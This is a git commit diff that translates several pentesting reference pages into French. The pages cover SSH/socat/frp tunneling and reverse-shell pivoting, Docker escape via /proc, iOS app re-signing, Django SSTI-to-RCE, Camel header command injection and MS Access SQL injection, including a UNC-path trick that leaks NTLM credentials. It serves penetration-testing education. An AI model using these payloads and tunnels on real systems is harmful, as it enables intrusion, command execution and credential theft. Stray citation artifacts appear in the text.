Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src

This commit is contained in:
Translator 2025-07-12 08:57:54 +00:00
parent 241b1bafa7
commit 4f1b0772e5
6 changed files with 52 additions and 54 deletions

View File

@ -57,7 +57,7 @@ ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port
```
### Reverse Port Forwarding
Ceci est utile pour obtenir des shells inversés à partir d'hôtes internes à travers une DMZ vers votre hôte :
Ceci est utile pour obtenir des shells inversés à partir d'hôtes internes via une DMZ vers votre hôte :
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
> [!NOTE]
> **Sécurité Attaque Terrapin (CVE-2023-48795)**
> L'attaque de rétrogradation Terrapin de 2023 peut permettre à un homme du milieu de manipuler la première poignée de main SSH et d'injecter des données dans **n'importe quel canal transféré** ( `-L`, `-R`, `-D` ). Assurez-vous que le client et le serveur sont corrigés (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ou désactivez explicitement les algorithmes vulnérables `chacha20-poly1305@openssh.com` et `*-etm@openssh.com` dans `sshd_config`/`ssh_config` avant de compter sur les tunnels SSH.
> L'attaque de rétrogradation Terrapin 2023 peut permettre à un attaquant de type homme du milieu de manipuler le début de la poignée de main SSH et d'injecter des données dans **n'importe quel canal transféré** ( `-L`, `-R`, `-D` ). Assurez-vous que le client et le serveur sont corrigés (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ou désactivez explicitement les algorithmes vulnérables `chacha20-poly1305@openssh.com` et `*-etm@openssh.com` dans `sshd_config`/`ssh_config` avant de compter sur les tunnels SSH.
## SSHUTTLE
@ -163,7 +163,7 @@ rportfwd stop [bind port]
### rPort2Port local
> [!WARNING]
> Dans ce cas, le **port est ouvert sur l'hôte beacon**, pas sur le Team Server et le **trafic est envoyé au client Cobalt Strike** (pas au Team Server) et de là au hôte:port indiqué.
> Dans ce cas, le **port est ouvert dans l'hôte beacon**, pas dans le Team Server et le **trafic est envoyé au client Cobalt Strike** (pas au Team Server) et de là au hôte:port indiqué.
```bash
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
@ -223,7 +223,7 @@ interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_age
# Display the tun interfaces -- Attacker
interface_list
```
### Liaison et Écoute de l'Agent
### Liaison et Écoute
```bash
# Establish a tunnel from the proxy server to the agent
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
Pivoter à travers **NTLM proxy**
Pivot à travers **NTLM proxy**
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -316,7 +316,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
```
### Remote Port2Port
Connectez le port SSH local (22) au port 443 de l'hôte attaquant
Connectez le port SSH local (22) au port 443 de l'hôte attaquant.
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
@ -350,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
Vous devez avoir **un accès RDP sur le système**.\
Téléchargez :
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité Remote Desktop Service de Windows. DVC est responsable de **tunneling des paquets sur la connexion RDP**.
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité Remote Desktop Service de Windows. DVC est responsable de **l'acheminement des paquets sur la connexion RDP**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
Dans votre ordinateur client, chargez **`SocksOverRDP-Plugin.dll`** comme ceci :
@ -484,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **est un outil pour exposer des solutions à Internet en une ligne de commande.**\
_Exposition URI sont comme:_ **UID.ngrok.io**
_Les URI d'exposition sont comme :_ **UID.ngrok.io**
### Installation
@ -547,7 +547,7 @@ addr: file:///tmp/httpbin/
```
## Cloudflared (Cloudflare Tunnel)
Le démon `cloudflared` de Cloudflare peut créer des tunnels sortants qui exposent **des services TCP/UDP locaux** sans nécessiter de règles de pare-feu entrantes, en utilisant l'edge de Cloudflare comme point de rendez-vous. C'est très pratique lorsque le pare-feu de sortie n'autorise que le trafic HTTPS mais que les connexions entrantes sont bloquées.
Le démon `cloudflared` de Cloudflare peut créer des tunnels sortants qui exposent des **services TCP/UDP locaux** sans nécessiter de règles de pare-feu entrant, en utilisant l'edge de Cloudflare comme point de rendez-vous. Cela est très pratique lorsque le pare-feu de sortie n'autorise que le trafic HTTPS mais que les connexions entrantes sont bloquées.
### Quick tunnel one-liner
```bash
@ -578,7 +578,7 @@ Parce que tout le trafic quitte l'hôte **sortant sur 443**, les tunnels Cloudfl
## FRP (Fast Reverse Proxy)
[`frp`](https://github.com/fatedier/frp) est un reverse-proxy Go activement maintenu qui prend en charge **TCP, UDP, HTTP/S, SOCKS et P2P NAT-hole-punching**. À partir de **v0.53.0 (mai 2024)**, il peut agir comme un **SSH Tunnel Gateway**, permettant à un hôte cible de créer un tunnel inverse en utilisant uniquement le client OpenSSH standard aucun binaire supplémentaire requis.
[`frp`](https://github.com/fatedier/frp) est un reverse-proxy Go activement maintenu qui prend en charge **TCP, UDP, HTTP/S, SOCKS et le P2P NAT-hole-punching**. À partir de **v0.53.0 (mai 2024)**, il peut agir comme une **passerelle de tunnel SSH**, permettant à un hôte cible de créer un tunnel inverse en utilisant uniquement le client OpenSSH standard aucun binaire supplémentaire requis.
### Tunnel TCP inverse classique
```bash
@ -599,7 +599,7 @@ localIP = "127.0.0.1"
localPort = 3389
remotePort = 5000
```
### Utilisation du nouveau passerelle SSH (sans binaire frpc)
### Utilisation du nouveau SSH gateway (pas de binaire frpc)
```bash
# On frps (attacker)
sshTunnelGateway.bindPort = 2200 # add to frps.toml

View File

@ -90,7 +90,7 @@ echo b > /proc/sysrq-trigger # Redémarre l'hôte
- Liste les symboles exportés par le noyau et leurs adresses.
- Essentiel pour le développement d'exploits du noyau, en particulier pour surmonter KASLR.
- Les informations d'adresse sont restreintes avec `kptr_restrict` réglé sur `1` ou `2`.
- Les informations d'adresse sont restreintes avec `kptr_restrict` défini sur `1` ou `2`.
- Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/[pid]/mem`**
@ -270,16 +270,14 @@ Répertoire racine de Docker : /var/lib/docker
So the filesystems are under `/var/lib/docker/overlay2/`:
```bash
```markdown
$ sudo ls -la /var/lib/docker/overlay2
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>
```
```
#### Note

View File

@ -8,7 +8,7 @@ Les applications signées avec l'**entitlement `get_task_allow`** permettent aux
Cependant, ce n'est pas aussi simple que de simplement extraire l'IPA, de le re-signer avec l'entitlement, et de le flasher à nouveau sur votre appareil. Cela est dû à la protection FairPlay. Lorsque la signature de l'application change, la clé DRM (Digital Rights Management) est **invalidée et l'application ne fonctionnera pas**.
Avec un ancien appareil jailbreaké, il est possible d'installer l'IPA, **de le déchiffrer en utilisant votre outil préféré** (comme Iridium ou frida-ios-dump), et de le récupérer de l'appareil. Bien que, si possible, il est recommandé de demander simplement au client l'IPA déchiffré.
Avec un ancien appareil jailbreaké, il est possible d'installer l'IPA, **de le déchiffrer en utilisant votre outil préféré** (comme Iridium ou frida-ios-dump), et de le récupérer de l'appareil. Cependant, si possible, il est recommandé de demander simplement au client l'IPA déchiffré.
## Obtenir l'IPA déchiffré
@ -61,17 +61,17 @@ ideviceinstaller -i resigned.ipa -w
```
---
### Activer le mode développeur (iOS 16+)
### Activer le Mode Développeur (iOS 16+)
Depuis iOS 16, Apple a introduit le **mode développeur** : tout binaire qui porte `get_task_allow` *ou* est signé avec un certificat de développement refusera de se lancer tant que le mode développeur n'est pas activé sur l'appareil. Vous ne pourrez également pas attacher Frida/LLDB à moins que ce drapeau ne soit activé.
Depuis iOS 16, Apple a introduit le **Mode Développeur** : tout binaire qui porte `get_task_allow` *ou* est signé avec un certificat de développement refusera de se lancer tant que le Mode Développeur n'est pas activé sur l'appareil. Vous ne pourrez également pas attacher Frida/LLDB à moins que ce drapeau ne soit activé.
1. Installez ou poussez **n'importe quel** IPA signé par un développeur sur le téléphone.
2. Accédez à **Réglages → Confidentialité & Sécurité → Mode Développeur** et activez-le.
3. L'appareil redémarrera ; après avoir saisi le code d'accès, vous serez invité à **activer** le mode développeur.
3. L'appareil redémarrera ; après avoir entré le code d'accès, il vous sera demandé d'**Activer** le Mode Développeur.
Le mode développeur reste actif jusqu'à ce que vous le désactiviez ou que vous réinitialisiez le téléphone, donc cette étape n'a besoin d'être effectuée qu'une seule fois par appareil. La [documentation d'Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explique les implications en matière de sécurité.
Le Mode Développeur reste actif jusqu'à ce que vous le désactiviez ou que vous réinitialisiez le téléphone, donc cette étape n'a besoin d'être effectuée qu'une seule fois par appareil. [La documentation d'Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explique les implications en matière de sécurité.
### Options modernes de sideloading
### Options de sideloading modernes
Il existe maintenant plusieurs façons matures de sideloader et de maintenir les IPAs re-signés à jour sans jailbreak :
@ -84,7 +84,7 @@ Pour des pentests de routine sur les versions iOS actuelles, Alt/Side-Store sont
### Hooking / instrumentation dynamique
Vous pouvez hook votre application exactement comme sur un appareil jailbreaké une fois qu'elle est signée avec `get_task_allow` **et** que le mode développeur est activé :
Vous pouvez hook votre application exactement comme sur un appareil jailbreaké une fois qu'elle est signée avec `get_task_allow` **et** que le Mode Développeur est activé :
```bash
# Spawn & attach with objection
objection -g "com.example.target" explore
@ -92,11 +92,11 @@ objection -g "com.example.target" explore
# Or plain Frida
frida -U -f com.example.target -l my_script.js --no-pause
```
Les récentes versions de Frida (>=16) gèrent automatiquement l'authentification des pointeurs et d'autres atténuations d'iOS 17, donc la plupart des scripts existants fonctionnent immédiatement.
Les dernières versions de Frida (>=16) gèrent automatiquement l'authentification des pointeurs et d'autres atténuations d'iOS 17, donc la plupart des scripts existants fonctionnent immédiatement.
### Analyse dynamique automatisée avec MobSF (sans jailbreak)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) peut instrumenter un IPA signé par un développeur sur un appareil réel en utilisant la même technique (`get_task_allow`) et fournit une interface web avec un navigateur de système de fichiers, capture de trafic et console Frida【turn6view0†L2-L3】. Le moyen le plus rapide est de faire fonctionner MobSF dans Docker puis de connecter votre iPhone via USB :
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) peut instrumenter un IPA signé par un développeur sur un appareil réel en utilisant la même technique (`get_task_allow`) et fournit une interface web avec un navigateur de système de fichiers, capture de trafic et console Frida【turn6view0†L2-L3】. Le moyen le plus rapide est de faire fonctionner MobSF dans Docker et ensuite de connecter votre iPhone via USB :
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \
@ -106,9 +106,9 @@ opensecurity/mobile-security-framework-mobsf:latest
```
MobSF déploiera automatiquement le binaire, activera un serveur Frida à l'intérieur du sandbox de l'application et générera un rapport interactif.
### iOS 17 & avertissements sur le mode de verrouillage
### iOS 17 & avertissements sur le mode verrouillage
* **Mode de verrouillage** (Réglages → Confidentialité & Sécurité) bloque le chargeur dynamique de chargement des bibliothèques dynamiques non signées ou signées de manière externe. Lors de tests sur des appareils qui pourraient avoir ce mode activé, assurez-vous qu'il est **désactivé** ou vos sessions Frida/objection se termineront immédiatement.
* **Mode verrouillage** (Réglages → Confidentialité & Sécurité) bloque le chargeur dynamique de chargement des bibliothèques dynamiques non signées ou signées de manière externe. Lors de tests sur des appareils qui pourraient avoir ce mode activé, assurez-vous qu'il est **désactivé** ou vos sessions Frida/objection se termineront immédiatement.
* L'authentification par pointeur (PAC) est appliquée à l'échelle du système sur les appareils A12+. Frida ≥16 gère de manière transparente le stripping PAC — il suffit de garder à jour à la fois *frida-server* et la chaîne d'outils Python/CLI lorsque qu'une nouvelle version majeure d'iOS est publiée.
## Références

View File

@ -1,6 +1,6 @@
# Django
{{#include /banners/hacktricks-training.md}}
{{#include /src/banners/hacktricks-training.md}}
## Manipulation du cache pour RCE
La méthode de stockage par défaut du cache de Django est [Python pickles](https://docs.python.org/3/library/pickle.html), ce qui peut conduire à RCE si [des entrées non fiables sont dé-picklées](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité en RCE sur le serveur sous-jacent**.
@ -12,7 +12,7 @@ Ce rapport HackerOne fournit un excellent exemple reproductible d'exploitation d
---
## Injection de modèle côté serveur (SSTI)
Le langage de modèle Django (DTL) est **Turing-complet**. Si des données fournies par l'utilisateur sont rendues sous forme de *chaîne de modèle* (par exemple en appelant `Template(user_input).render()` ou lorsque `|safe`/`format_html()` supprime l'auto-échappement), un attaquant peut atteindre un SSTI complet → RCE.
Le langage de modèle Django (DTL) est **Turing-complet**. Si les données fournies par l'utilisateur sont rendues sous forme de *chaîne de modèle* (par exemple en appelant `Template(user_input).render()` ou lorsque `|safe`/`format_html()` supprime l'auto-échappement), un attaquant peut atteindre un SSTI complet → RCE.
### Détection
1. Recherchez des appels dynamiques à `Template()` / `Engine.from_string()` / `render_to_string()` qui incluent *toute* donnée de requête non assainie.
@ -33,7 +33,7 @@ Trouvez l'index de `subprocess.Popen` (≈400500 selon la version de Python)
```
Un gadget universel plus sûr consiste à itérer jusqu'à ce que `cls.__name__ == 'Popen'`.
Le même gadget fonctionne pour les fonctionnalités de rendu de **Debug Toolbar** ou **Django-CMS** qui gèrent mal les entrées utilisateur.
Le même gadget fonctionne pour les fonctionnalités de rendu de **Debug Toolbar** ou **Django-CMS** qui gèrent mal l'entrée utilisateur.
---
@ -64,7 +64,7 @@ Envoyez le cookie résultant, et le payload s'exécute avec les permissions du w
---
## CVEs Django à Fort Impact Récents (2023-2025) que les Pentesters Doivent Vérifier
## CVEs Django à Fort Impact Récents (2023-2025) que les Pentesters Devraient Vérifier
* **CVE-2025-48432** *Injection de Log via `request.path` non échappé* (corrigé le 4 juin 2025). Permet aux attaquants de faire passer des nouvelles lignes/des codes ANSI dans les fichiers journaux et de polluer l'analyse des journaux en aval. Niveau de patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Injection SQL critique* dans `QuerySet.values()/values_list()` sur `JSONField` (CVSS 9.8). Créez des clés JSON pour sortir des guillemets et exécuter du SQL arbitraire. Corrigé dans 4.2.15 / 5.0.8.
@ -73,7 +73,7 @@ Toujours identifier la version exacte du framework via la page d'erreur `X-Frame
---
## Références
* Publication de sécurité Django "Django 5.2.2, 5.1.10, 4.2.22 traitent CVE-2025-48432" 4 juin 2025.
* OP-Innovate : "Django publie des mises à jour de sécurité pour traiter la faille d'injection SQL CVE-2024-42005" 11 août 2024.
* Publication de sécurité Django "Django 5.2.2, 5.1.10, 4.2.22 adressent CVE-2025-48432" 4 juin 2025.
* OP-Innovate : "Django publie des mises à jour de sécurité pour corriger la faille d'injection SQL CVE-2024-42005" 11 août 2024.
{{#include /banners/hacktricks-training.md}}
{{#include /src/banners/hacktricks-training.md}}

View File

@ -84,7 +84,7 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa
- **`Accept-Ranges`** : Indique si le serveur prend en charge les requêtes de plage, et si oui, dans quelle unité la plage peut être exprimée. `Accept-Ranges: <range-unit>`
- **`Range`** : Indique la partie d'un document que le serveur doit retourner. Par exemple, `Range:80-100` retournera les octets 80 à 100 de la réponse originale avec un code d'état de 206 Partial Content. N'oubliez pas de supprimer l'en-tête `Accept-Encoding` de la demande.
- Cela pourrait être utile pour obtenir une réponse avec du code javascript réfléchi arbitraire qui pourrait autrement être échappé. Mais pour en abuser, vous auriez besoin d'injecter ces en-têtes dans la demande.
- Cela pourrait être utile pour obtenir une réponse avec un code javascript réfléchi arbitraire qui pourrait autrement être échappé. Mais pour en abuser, vous auriez besoin d'injecter ces en-têtes dans la demande.
- **`If-Range`** : Crée une demande de plage conditionnelle qui n'est remplie que si l'etag ou la date donnée correspond à la ressource distante. Utilisé pour éviter de télécharger deux plages de versions incompatibles de la ressource.
- **`Content-Range`** : Indique où dans un message complet un message partiel appartient.
@ -154,21 +154,21 @@ X-Content-Type-Options: nosniff
```
### **X-Frame-Options**
Pour lutter contre le clickjacking, cet en-tête restreint la manière dont les documents peuvent être intégrés dans les balises `<frame>`, `<iframe>`, `<embed>` ou `<object>`, recommandant à tous les documents de spécifier explicitement leurs autorisations d'intégration.
Pour lutter contre le clickjacking, cet en-tête limite la manière dont les documents peuvent être intégrés dans les balises `<frame>`, `<iframe>`, `<embed>` ou `<object>`, recommandant à tous les documents de spécifier explicitement leurs autorisations d'intégration.
```
X-Frame-Options: DENY
```
### **Cross-Origin Resource Policy (CORP) et Cross-Origin Resource Sharing (CORS)**
CORP est crucial pour spécifier quelles ressources peuvent être chargées par des sites web, atténuant les fuites inter-sites. CORS, en revanche, permet un mécanisme de partage de ressources inter-origines plus flexible, assouplissant la politique de même origine dans certaines conditions.
CORP est crucial pour spécifier quelles ressources peuvent être chargées par les sites web, atténuant les fuites inter-sites. CORS, en revanche, permet un mécanisme de partage de ressources inter-origines plus flexible, assouplissant la politique de même origine dans certaines conditions.
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) et Cross-Origin Opener Policy (COOP)**
### **Politique d'Intégration Cross-Origin (COEP) et Politique d'Ouverture Cross-Origin (COOP)**
COEP et COOP sont essentiels pour permettre l'isolement entre origines, réduisant considérablement le risque d'attaques similaires à Spectre. Ils contrôlent le chargement des ressources entre origines et l'interaction avec les fenêtres entre origines, respectivement.
COEP et COOP sont essentiels pour permettre l'isolement cross-origin, réduisant considérablement le risque d'attaques similaires à Spectre. Ils contrôlent le chargement des ressources cross-origin et l'interaction avec les fenêtres cross-origin, respectivement.
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
@ -204,7 +204,7 @@ curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
```
Les en-têtes atteignent le composant `exec` sans filtre, entraînant une exécution de commandes à distance avec les privilèges du processus Camel.
Les en-têtes atteignent le composant `exec` sans filtrage, entraînant une exécution de commandes à distance avec les privilèges du processus Camel.
### Détection et atténuation

View File

@ -48,7 +48,7 @@ Par conséquent, vous devez connaître un **nom de table valide**.
### Chaining equals + Substring
> [!WARNING]
> Cela vous permettra d'exfiltrer des valeurs de la table actuelle sans avoir besoin de connaître le nom de la table.
> Cela vous permettra d'exfiltrer les valeurs de la table actuelle sans avoir besoin de connaître le nom de la table.
**MS Access** permet une **syntaxe étrange** telle que **`'1'=2='3'='asd'=false`**. Comme d'habitude, l'injection SQL se trouvera dans une clause **`WHERE`**, nous pouvons en abuser.
@ -56,7 +56,7 @@ Imaginez que vous ayez une SQLi dans une base de données MS Access et que vous
```sql
'=(Mid(username,1,3)='adm')='
```
Si vous connaissez le **nom de la table** et **la colonne** à extraire, vous pouvez utiliser une combinaison entre `Mid`, `LAST` et `TOP` pour **fuiter toutes les informations** via une injection SQL booléenne :
Si vous connaissez le **nom de la table** et **la colonne** à extraire, vous pouvez utiliser une combinaison de `Mid`, `LAST` et `TOP` pour **fuiter toutes les informations** via une injection SQL booléenne :
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
@ -87,7 +87,7 @@ Ou avec un **group by** :
```sql
-1' GROUP BY column_name%00
```
Ou vous pouvez forcer les noms de colonnes d'une **table différente** avec :
Ou vous pouvez forcer par brute les noms de colonnes d'une **autre table** avec :
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
@ -99,7 +99,7 @@ Nous avons déjà discuté de la [**technique de chaînage d'égalités**](ms-ac
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
En résumé, la requête utilise une instruction "if-then" afin de déclencher un "200 OK" en cas de succès ou une "500 Internal Error" sinon. En tirant parti de l'opérateur TOP 10, il est possible de sélectionner les dix premiers résultats. L'utilisation subséquente de LAST permet de considérer uniquement le 10ème tuple. Sur cette valeur, en utilisant l'opérateur MID, il est possible d'effectuer une simple comparaison de caractères. En changeant correctement l'index de MID et TOP, nous pouvons extraire le contenu du champ "username" pour toutes les lignes.
En résumé, la requête utilise une instruction "if-then" afin de déclencher un "200 OK" en cas de succès ou un "500 Internal Error" sinon. En tirant parti de l'opérateur TOP 10, il est possible de sélectionner les dix premiers résultats. L'utilisation subséquente de LAST permet de considérer uniquement le 10ème tuple. Sur cette valeur, en utilisant l'opérateur MID, il est possible d'effectuer une simple comparaison de caractères. En changeant correctement l'index de MID et TOP, nous pouvons extraire le contenu du champ "username" pour toutes les lignes.
### Astuces Basées sur le Temps (Aveugles)
@ -107,10 +107,10 @@ Jet/ACE SQL lui-même **ne** expose **pas** de fonction native `SLEEP()` ou `WAI
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
Pointez le chemin UNC vers :
Point le chemin UNC vers :
* un partage SMB derrière un lien à haute latence
* un hôte qui abandonne la poignée de main TCP après `SYN-ACK`
* un hôte qui abandonne le handshake TCP après `SYN-ACK`
* un trou noir de pare-feu
Les secondes supplémentaires introduites par la recherche distante peuvent être utilisées comme un **oracle de timing hors bande** pour des conditions booléennes (par exemple, choisir un chemin lent uniquement lorsque le prédicat injecté est vrai). Microsoft documente le comportement de la base de données distante et le kill-switch associé dans KB5002984. citeturn1search0
@ -124,7 +124,7 @@ Les secondes supplémentaires introduites par la recherche distante peuvent êtr
- `IIF(1=1,'a','b')` si alors
- `COUNT(*)` Compter le nombre d'éléments
## Énumération des tables
## Énumérer les tables
Depuis [**ici**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database), vous pouvez voir une requête pour obtenir les noms des tables :
```sql
@ -140,9 +140,9 @@ Cependant, notez qu'il est très typique de trouver des injections SQL où vous
## Accès au système de fichiers
### Chemin d'accès complet du répertoire racine web
### Chemin d'accès complet du répertoire racine Web
La connaissance du **chemin d'accès absolu du répertoire web peut faciliter d'autres attaques**. Si les erreurs d'application ne sont pas complètement dissimulées, le chemin du répertoire peut être découvert en essayant de sélectionner des données à partir d'une base de données inexistante.
La connaissance du **chemin d'accès absolu du répertoire racine web peut faciliter d'autres attaques**. Si les erreurs d'application ne sont pas complètement dissimulées, le chemin du répertoire peut être découvert en essayant de sélectionner des données à partir d'une base de données inexistante.
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
@ -176,7 +176,7 @@ Si l'entrée de l'utilisateur est concaténée dans la partie après **IN** (ou
1. essayer de s'authentifier via SMB / HTTP pour ouvrir la base de données distante ;
2. leak les **identifiants NTLM** du serveur web (authentification forcée) ;
3. analyser le fichier distant une base de données malformée ou malveillante peut déclencher des bogues de corruption de mémoire Jet/ACE qui ont été corrigés plusieurs fois (par exemple, CVE-2021-28455).
3. analyser le fichier distant une base de données malformée ou malveillante peut déclencher des bugs de corruption de mémoire Jet/ACE qui ont été corrigés plusieurs fois (par exemple, CVE-2021-28455).
Exemple pratique d'injection :
```sql
@ -192,12 +192,12 @@ Impact :
Atténuations (recommandées même pour les applications Classic ASP héritées) :
* Ajoutez la valeur de registre `AllowQueryRemoteTables = 0` sous `HKLM\Software\Microsoft\Jet\4.0\Engines` (et sous le chemin ACE équivalent). Cela force Jet/ACE à rejeter les chemins distants commençant par `\\`.
* Bloquez le SMB/WebDAV sortant à la frontière du réseau.
* Bloquez SMB/WebDAV sortants à la frontière du réseau.
* Assainissez / paramétrez toute partie d'une requête qui pourrait se retrouver dans une clause `IN`.
Le vecteur d'authentification forcée a été réexaminé par Check Point Research en 2023, prouvant qu'il est toujours exploitable sur Windows Server entièrement patché lorsque la clé de registre est absente. citeturn0search0
### .mdb Cracker de mot de passe
### .mdb Password Cracker
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) est un utilitaire gratuit qui peut être utilisé pour récupérer le mot de passe principal de la base de données de Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.